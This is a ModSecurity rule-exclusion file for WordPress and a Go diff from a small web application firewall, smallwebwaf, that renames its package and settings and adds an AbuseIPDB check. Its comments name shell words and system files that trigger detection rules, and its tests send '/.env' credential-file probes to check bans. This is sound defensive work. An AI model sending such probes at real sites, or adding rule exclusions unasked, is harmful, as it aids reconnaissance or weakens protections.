ctl:ruleRemoveTargetById=941390;ARGS:json.content,\
ctl:ruleRemoveTargetById=942190;ARGS:json.content,\
ctl:ruleRemoveTargetById=942270;ARGS:json.content"
# A reply to a comment from the list of comments, in content:
# 932125: ls -la, in the reply's text
# 932230: ls -la, in the reply's text
# 932250: ls -la, in the reply's text
SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
"id:900702,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:content "@eq 0" \
"ctl:ruleRemoveTargetById=932125;ARGS:content,\
ctl:ruleRemoveTargetById=932230;ARGS:content,\
ctl:ruleRemoveTargetById=932250;ARGS:content"
# Saving a plugin's or a theme's file from its file editor sends the file in
# newcontent, which skips these rules, each of which refused saving the plugin
# Hello Dolly's hello.php. Some of them refused only the whole file:
# 932140: if ( 'en_' !== substr(
# 932235: the whole file
# 933100: the whole file
# 933160: if ( 'en_' !== substr(
# 933210: $lyrics = explode(
# 941100: <style type='text/css'>
# 941160: <style type='text/css'>
# 941190: the whole file
# 942151: if ( 'en_' !== substr(
# 942540: Dolly'll never go away again";
SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
"id:900703,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:newcontent "@eq 0" \
"ctl:ruleRemoveTargetById=932140;ARGS:newcontent,\
ctl:ruleRemoveTargetById=932235;ARGS:newcontent,\
ctl:ruleRemoveTargetById=933100;ARGS:newcontent,\
ctl:ruleRemoveTargetById=933160;ARGS:newcontent,\
ctl:ruleRemoveTargetById=933210;ARGS:newcontent,\
ctl:ruleRemoveTargetById=941100;ARGS:newcontent,\
ctl:ruleRemoveTargetById=941160;ARGS:newcontent,\
ctl:ruleRemoveTargetById=941190;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
# Signing in, in pwd, where a password holds any characters:
# 930120: a password ending in /etc/hosts
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
"id:900704,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
# The plugin and theme file editors name the file open in file, which skips
# these rules there:
# 930120: akismet/views/config.php
# 932120: install-script.sh
# 932160: bin/install.sh
# 932260: docker-compose.yml
# 941180: document.write.js
SecRule REQUEST_FILENAME "@rx ^/wp-admin/(?:plugin|theme)-editor\.php$" \
"id:900709,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932160;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file,\
ctl:ruleRemoveTargetById=941180;ARGS:file"
# Searches, the names of tags, categories, plugins and themes, and WordPress's
# addresses for its own pages can hold any word. In the fields of the next three
# rules, each request skips the rules that refused such words:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# An address repeats the search it came from, so only the addresses of the first
# group also skip:
# 932235: python3, in the address of a page of results
# All of wp-admin, and signing in.
SecRule REQUEST_FILENAME "@rx ^/(?:wp-admin/|wp-login\.php$)" \
"id:900707,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/"
# Every route of WordPress's own REST API, and the embed address each post links
# to.
SecRule TX:rest_route "@rx ^/(?:wp/v2/|oembed/1\.0/embed$)" \
"id:900708,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|slug|url)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|slug|url)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|slug|url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|slug|url)$/"
# The site's own pages, and the later pages of a search.
SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$" \
"id:900710,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:s|tag)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:s|tag)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:s|tag)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:s|tag)$/"
# The media list sends its own address in _wp_http_referer, which ends in &ps and
# so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
+58
View File
@@ -0,0 +1,58 @@
package discriminator
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
// the score, when its score of the client is a hit, and refuses the request
// when SWW_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
// SWW_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
// checked in the background, by the request's address, if its history counts
// an offence, and the request does not wait for the answer. The score is then
// used for each address of the client. Its figures are the score and
// SWW_ABUSEIPDB_MIN_SCORE.
type abuseIPDB struct{}
func (abuseIPDB) name() string { return "abuseipdb" }
func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
if rq.h.config.AbuseIPDBKey == "" {
return nil
}
client := rq.h.clientGroup(rq.client)
held, _ := rq.h.limiter.Client(client)
offender := held.History.Offences != ratelimit.Offences{}
score, hit := rq.h.abuseIPDB.Hit(ctx, client, rq.client, offender)
if !hit {
return nil
}
rq.abuseIPDBHit = true
rq.addTag(config.AbuseIPDBTag)
rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
if rq.h.config.ReputationAction != deny {
return nil
}
return &verdict{
action: requestlog.ActionClientDenied,
figures: map[string]any{
figureScore: score, "min_score": rq.h.config.AbuseIPDBMinScore,
},
}
}
@@ -1,4 +1,4 @@
package servewaf package discriminator
import ( import (
"bytes" "bytes"
@@ -42,20 +42,20 @@ var (
// answerHealth answers a request for the health endpoint. // answerHealth answers a request for the health endpoint.
func (rq *request) answerHealth() { func (rq *request) answerHealth() {
rq.line.Action = requestlog.ActionAdmin rq.line.Action = requestlog.ActionOwnEndpoint
// Set here rather than left to Go's server, which would set it only // Set here rather than left to Go's server, which would set it only
// after the log line has taken the response's headers. // after the log line has taken the response's headers.
rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8") rq.out.Header().Set("Content-Type", "text/plain; charset=utf-8")
_, _ = io.WriteString(rq.out, "ok\n") _, _ = io.WriteString(rq.out, "ok\n")
} }
// answerAdmin answers a request for one of servewaf's own endpoints. Each // answerAdmin answers a request for one of discriminator's own endpoints. Each
// needs a token, sent as Authorization: Bearer <token>: the metrics // needs a token, sent as Authorization: Bearer <token>: the metrics
// SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without it is // SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
// refused with 401. An endpoint whose token is unset answers 404, as any other // refused with 401. An endpoint whose token is unset answers 404, as any other
// path does. // path does.
func (rq *request) answerAdmin() { func (rq *request) answerAdmin() {
rq.line.Action = requestlog.ActionAdmin rq.line.Action = requestlog.ActionOwnEndpoint
token, answer := rq.endpoint() token, answer := rq.endpoint()
@@ -250,7 +250,7 @@ type clientAnswer struct {
Bans []state.BanEntry `json:"bans"` Bans []state.BanEntry `json:"bans"`
} }
// showClient answers GET ClientsPath<ip> with what servewaf knows of the client: // showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
// its counters, its history, which holds its country as last looked up and its // its counters, its history, which holds its country as last looked up and its
// offences, and its bans with their notes. // offences, and its bans with their notes.
func (rq *request) showClient() { func (rq *request) showClient() {
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"encoding/json" "encoding/json"
@@ -10,15 +10,15 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
"sneak.berlin/go/smallwebwaf/internal/state" "sneak.berlin/go/smallwebwaf/internal/state"
) )
const ( const (
adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
// adminSecret is the SWWAF_ADMIN_TOKEN the tests set, and adminBearer // adminSecret is the SWW_ADMIN_TOKEN the tests set, and adminBearer
// how a request carries it. // how a request carries it.
adminSecret = "fedcba9876543210fedcba9876543210" adminSecret = "fedcba9876543210fedcba9876543210"
adminBearer = "Bearer " + adminSecret adminBearer = "Bearer " + adminSecret
@@ -40,7 +40,7 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
// An empty token does not match the unset one either. // An empty token does not match the unset one either.
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} { for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.adminRequest(authorization, e.method, e.path, e.body, http.StatusNotFound) s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
} }
} }
@@ -67,7 +67,7 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
for _, authorization := range []string{ for _, authorization := range []string{
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret, "", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
} { } {
got := s.adminRequest(authorization, e.method, e.path, e.body, got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
http.StatusUnauthorized) http.StatusUnauthorized)
if got.header.Get("WWW-Authenticate") != "Bearer" { if got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer", t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
@@ -86,13 +86,13 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
} }
} }
// Any other request under /_smallwebwaf/ is not found. // Any other request under /_sww/ is not found.
for _, e := range []adminEndpoint{ for _, e := range []adminEndpoint{
{http.MethodPut, servewaf.BansPath, banOtherClient}, {http.MethodPut, discriminator.BansPath, banOtherClient},
{http.MethodDelete, servewaf.BansPath, ""}, {http.MethodDelete, discriminator.BansPath, ""},
{http.MethodGet, servewaf.BansPath + "/" + otherClient, ""}, {http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
{http.MethodPost, servewaf.ClientsPath + otherClient, ""}, {http.MethodPost, discriminator.ClientsPath + otherClient, ""},
{http.MethodGet, strings.TrimSuffix(servewaf.ClientsPath, "/"), ""}, {http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
} { } {
s.admin(e.method, e.path, e.body, http.StatusNotFound) s.admin(e.method, e.path, e.body, http.StatusNotFound)
} }
@@ -118,10 +118,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
Reason: "probes for logins", Reason: "probes for logins",
} }
wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, banOtherClient, http.StatusOK), wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
want) http.StatusOK), want)
line := s.get(client, http.StatusForbidden, requestlog.ActionBanned) line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
if line.BanExpires != requestlog.FormatTime(expires) { if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires) t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
} }
@@ -129,7 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
// Its notes count the request it refused. // Its notes count the request it refused.
want.Notes.Requests, want.Notes.Refused = 1, 1 want.Notes.Requests, want.Notes.Refused = 1, 1
wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want) wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
// Ten minutes on, lifting the bans on client lifts that one, which is // Ten minutes on, lifting the bans on client lifts that one, which is
// kept, marked lifted. // kept, marked lifted.
@@ -138,13 +138,13 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
lifted := clk.Now() lifted := clk.Now()
want.Lifted = &lifted want.Lifted = &lifted
wantBans(t, s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "", wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
http.StatusOK), want) http.StatusOK), want)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
wantBans(t, s.admin(http.MethodGet, servewaf.BansPath, "", http.StatusOK), want) wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
// No ban on it is active any more. // No ban on it is active any more.
s.admin(http.MethodDelete, servewaf.BansPath+"/"+client, "", http.StatusNotFound) s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
} }
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) { func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -181,7 +181,8 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
want.Expires = &expires want.Expires = &expires
} }
wantBans(t, s.admin(http.MethodPost, servewaf.BansPath, body, http.StatusOK), want) wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
want)
} }
} }
@@ -250,7 +251,8 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
"request body too large", "request body too large",
}, },
} { } {
got := s.admin(http.MethodPost, servewaf.BansPath, tc.body, http.StatusBadRequest) got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
http.StatusBadRequest)
if !strings.Contains(string(got.body), tc.want) { if !strings.Contains(string(got.body), tc.want) {
t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want) t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
} }
@@ -274,7 +276,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// limit of two a minute, and bans it. // limit of two a minute, and bans it.
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited) s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
// Asked about by its address in IPv6 form too. // Asked about by its address in IPv6 form too.
for _, addr := range []string{otherClient, "::ffff:" + otherClient} { for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -283,7 +285,8 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
Bans []state.BanEntry `json:"bans"` Bans []state.BanEntry `json:"bans"`
} }
decode(t, s.admin(http.MethodGet, servewaf.ClientsPath+addr, "", http.StatusOK), &got) decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
http.StatusOK), &got)
if got.Client == nil { if got.Client == nil {
t.Fatalf("%s: no client", addr) t.Fatalf("%s: no client", addr)
@@ -305,13 +308,15 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// Of an address no request came from and no ban covers, nothing is // Of an address no request came from and no ban covers, nothing is
// known. // known.
got := s.admin(http.MethodGet, servewaf.ClientsPath+"198.51.100.99", "", http.StatusOK) got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
http.StatusOK)
if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" { if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
t.Errorf("an unknown client is answered\n%s", got.body) t.Errorf("an unknown client is answered\n%s", got.body)
} }
s.admin(http.MethodGet, servewaf.ClientsPath+"203.0.113", "", http.StatusBadRequest) s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
s.admin(http.MethodDelete, servewaf.BansPath+"/203.0.113.0/24", "", http.StatusBadRequest)
s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
http.StatusBadRequest) http.StatusBadRequest)
} }
@@ -324,7 +329,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
}) })
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.adminRequest("", e.method, e.path, e.body, http.StatusUnauthorized) s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
} }
if held := server.Ledger.Snapshot(); len(held) != 0 { if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -332,40 +337,40 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
} }
} }
// adminEndpoint is a request to an endpoint SWWAF_ADMIN_TOKEN opens. // adminEndpoint is a request to an endpoint SWW_ADMIN_TOKEN opens.
type adminEndpoint struct { type adminEndpoint struct {
method, path, body string method, path, body string
} }
// adminEndpoints returns a request to each endpoint SWWAF_ADMIN_TOKEN // adminEndpoints returns a request to each endpoint SWW_ADMIN_TOKEN
// opens: listing the bans, banning otherClient for an hour, lifting the // opens: listing the bans, banning otherClient for an hour, lifting the
// bans on otherClient, and asking about otherClient. // bans on otherClient, and asking about otherClient.
func adminEndpoints() []adminEndpoint { func adminEndpoints() []adminEndpoint {
return []adminEndpoint{ return []adminEndpoint{
{http.MethodGet, servewaf.BansPath, ""}, {http.MethodGet, discriminator.BansPath, ""},
{http.MethodPost, servewaf.BansPath, banOtherClient}, {http.MethodPost, discriminator.BansPath, banOtherClient},
{http.MethodDelete, servewaf.BansPath + "/" + otherClient, ""}, {http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
{http.MethodGet, servewaf.ClientsPath + otherClient, ""}, {http.MethodGet, discriminator.ClientsPath + otherClient, ""},
} }
} }
// admin sends a request with method for path, with body, to servewaf's own // admin sends a request with method for path, with body, to discriminator's own
// address, with the admin token, and checks that it is answered with status, its // address, with the admin token, and checks that it is answered with status, its
// log line's action admin. It returns the answer. // log line's action own_endpoint. It returns the answer.
func (s *sender) admin(method, path, body string, status int) answer { func (s *sender) admin(method, path, body string, status int) answer {
s.t.Helper() s.t.Helper()
return s.adminRequest(adminBearer, method, path, body, status) return s.ownEndpointRequest(adminBearer, method, path, body, status)
} }
// adminRequest is admin with authorization as the request's Authorization header // ownEndpointRequest is admin with authorization as the request's Authorization
// unless it is "". // header unless it is "".
func (s *sender) adminRequest( func (s *sender) ownEndpointRequest(
authorization, method, path, body string, status int, authorization, method, path, body string, status int,
) answer { ) answer {
s.t.Helper() s.t.Helper()
req := newRequest(s.t, method, s.serveWAFAddr, path, strings.NewReader(body)) req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
if authorization != "" { if authorization != "" {
req.Header.Set("Authorization", authorization) req.Header.Set("Authorization", authorization)
} }
@@ -375,7 +380,7 @@ func (s *sender) adminRequest(
line := s.out.endedLines(s.t, s.sent+1)[s.sent] line := s.out.endedLines(s.t, s.sent+1)[s.sent]
s.sent++ s.sent++
wantLine(s.t, line, status, requestlog.ActionAdmin) wantLine(s.t, line, status, requestlog.ActionOwnEndpoint)
return got return got
} }
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"maps" "maps"
@@ -10,15 +10,15 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
const ( const (
alertWebhookURL = "SWWAF_ALERT_WEBHOOK_URL" alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR" alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
// alertInstance is the instance every alert of these tests gives. // alertInstance is the instance every alert of these tests gives.
alertInstance = "fsn1app1/gitea" alertInstance = "fsn1app1/blog"
) )
func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) { func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
@@ -31,14 +31,14 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
start := clk.Now() start := clk.Now()
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
ban := server.Ledger.Bans(netblock)[0] ban := server.Ledger.Bans(netblock)[0]
// A request refused under the ban raises no other alert. // A request refused under the ban raises no other alert.
clk.advance(time.Minute) clk.advance(time.Minute)
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{ wantAlerts(t, queue, banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netblock, Cause: bans.CauseLimit, Netblock: netblock, Cause: bans.CauseLimit,
@@ -62,22 +62,24 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
// The probe bans the client for seven days, and its next request makes // The probe bans the client for seven days, and its next request makes
// the ban permanent. The request after that changes nothing. // the ban permanent. The request after that changes nothing.
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned) s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
attackBan := server.Ledger.Bans(netblock)[0] attackBan := server.Ledger.Bans(netblock)[0]
clk.advance(time.Minute) clk.advance(time.Minute)
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
permanentBan := server.Ledger.Bans(netblock)[0] permanentBan := server.Ledger.Bans(netblock)[0]
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
// Another client's probe after its first ban has run out without a // Another client's probe after its first ban has run out without a
// request makes a permanent ban at once. // request makes a permanent ban at once.
s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned) s.request(otherClient, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
clk.advance(7 * 24 * time.Hour) clk.advance(7 * 24 * time.Hour)
s.request(otherClient, "/.env", http.StatusForbidden, requestlog.ActionBanned) s.request(otherClient, "/.env", http.StatusForbidden,
requestlog.ActionPermanentlyBanned)
otherBans := server.Ledger.Bans(other) otherBans := server.Ledger.Bans(other)
@@ -201,7 +203,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
// never sent them, and returns the queue they wait in as well. // never sent them, and returns the queue they wait in as well.
func startWithAlerts( func startWithAlerts(
t *testing.T, env map[string]string, t *testing.T, env map[string]string,
) (*sender, *clock, *servewaf.Server, *alerts.Queue) { ) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env) return startAppWithAlerts(t, func(http.ResponseWriter, *http.Request) {}, env)
@@ -210,21 +212,21 @@ func startWithAlerts(
// startAppWithAlerts is startWithAlerts in front of the app handler. // startAppWithAlerts is startWithAlerts in front of the app handler.
func startAppWithAlerts( func startAppWithAlerts(
t *testing.T, handler http.HandlerFunc, env map[string]string, t *testing.T, handler http.HandlerFunc, env map[string]string,
) (*sender, *clock, *servewaf.Server, *alerts.Queue) { ) (*sender, *clock, *discriminator.Server, *alerts.Queue) {
t.Helper() t.Helper()
app := startApp(t, handler) app := startApp(t, handler)
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
settings := map[string]string{ settings := map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
alertWebhookURL: "https://alerts.example/smallwebwaf", alertWebhookURL: "https://alerts.example/sww",
instanceName: alertInstance, instanceName: alertInstance,
} }
maps.Copy(settings, env) maps.Copy(settings, env)
addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings) addr, out, server, queue := startProxyWithAlerts(t, app.URL, "", clk.Now, settings)
s := &sender{t: t, addr: addr, serveWAFAddr: server.Addr, out: out} s := &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}
return s, clk, server, queue return s, clk, server, queue
} }
@@ -1,4 +1,4 @@
package servewaf package discriminator
import ( import (
"net/netip" "net/netip"
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"maps" "maps"
@@ -13,19 +13,19 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
// The anomaly thresholds: the prefix of a scope followed by the end of a // The anomaly thresholds: the prefix of a scope followed by the end of a
// count. // count.
const ( const (
anomalyClient = "SWWAF_ANOMALY_CLIENT_" anomalyClient = "SWW_ANOMALY_CLIENT_"
anomalyNet = "SWWAF_ANOMALY_NET_" anomalyNet = "SWW_ANOMALY_NET_"
anomalyASN = "SWWAF_ANOMALY_ASN_" anomalyASN = "SWW_ANOMALY_ASN_"
anomalyTotal = "SWWAF_ANOMALY_TOTAL_" anomalyTotal = "SWW_ANOMALY_TOTAL_"
anomalyWatch = "SWWAF_WATCH_" anomalyWatch = "SWW_WATCH_"
requestsPerMinute = "REQUESTS_PER_MINUTE" requestsPerMinute = "REQUESTS_PER_MINUTE"
requestsPerHour = "REQUESTS_PER_HOUR" requestsPerHour = "REQUESTS_PER_HOUR"
@@ -35,9 +35,9 @@ const (
// The other anomaly settings. // The other anomaly settings.
const ( const (
anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX" anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX" anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
watchNets = "SWWAF_WATCH_NETS" watchNets = "SWW_WATCH_NETS"
) )
const ( const (
@@ -73,7 +73,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) {
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}}, {anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil}, {anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
{ {
anomalyWatch, anomaly.ScopeWatch, netip.MustParsePrefix(clientsNet), anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
"the named netblock office, " + clientsNet, map[string]any{"name": "office"}, "the named netblock office, " + clientsNet, map[string]any{"name": "office"},
}, },
} { } {
@@ -164,9 +164,9 @@ func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
allowed = "192.0.2.7" // in SWWAF_ALLOW_NETS allowed = "192.0.2.7" // in SWW_ALLOW_NETS
exempt = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
denied = "192.0.2.20" // in SWWAF_DENY_NETS denied = "192.0.2.20" // in SWW_DENY_NETS
) )
